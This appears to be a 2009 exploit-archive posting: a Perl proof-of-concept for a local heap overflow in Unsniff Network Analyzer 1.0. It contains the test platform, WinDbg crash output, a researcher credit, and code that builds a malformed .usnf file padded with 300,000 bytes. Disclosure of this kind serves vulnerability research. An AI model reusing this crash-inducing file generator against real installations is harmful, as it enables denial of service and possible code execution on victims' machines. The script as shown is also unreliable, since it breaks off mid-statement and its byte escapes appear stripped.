unsniff-overflow.txt
Posted on 07 April 2009
#!/usr/bin/perl # # Unsniff Network Analyzer 1.0 (usnf) Local Heap Overflow PoC # # Summary: Dont just look at hex dumps and protocol trees. With Unsniff # Network Analyzer, you can view network traffic at various levels of detail. # View high level objects like images, video, HTML pages, VOIP calls, drill # down to individual TCP sessions, then onto reassembled PDUs, then finally # to individual packets. All this functionality is packed in a cool graphical # interface. # # Product web page: http://www.unleashnetworks.com/unsniff/unsniff-2.html # # Tested on Microsoft Windows XP Professional SP3 (English) # # ----------------------------windbg outpootz------------------------------- # # HEAP[usnfctr.exe]: Invalid allocation size - 88888880 (exceeded 7ffdefff) # (998.d08): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=00000000 ebx=00000000 ecx=22222220 edx=00000000 esi=01248c58 edi=00000000 # eip=018468d1 esp=0012c754 ebp=0012c7dc iopl=0 nv up ei pl nz na po nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202 # vocore2u!CatFactory_SysLASwizzle+0x24602: # 018468d1 f3ab rep stos dword ptr es:[edi] # Missing image name, possible paged-out or corrupt data. # # -------------------------------------------------------------------------- # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # # liquidworm gmail com # # http://www.zeroscience.org/ # # 06.04.2009 # $a="x01x00x00x00x11". "x27x00x00x56x00x4Fx00x44". "x00x41". "x00". "x54x00". "x42x00". "x53". "x00x31". "x00". "x00". "x00". "x00". "x00". "x00x00". "x00". "x00x00". "x00x00". "x00". "x00x00". "x00x00". "x00x00". "x00x00". "x00x20". "x00". "x00". "x00x10". "x00x00". "x00". "x40". "x00x00". "x00x40x04". "x00x02x00". "x40x00";$b="x4A"x300000;$c="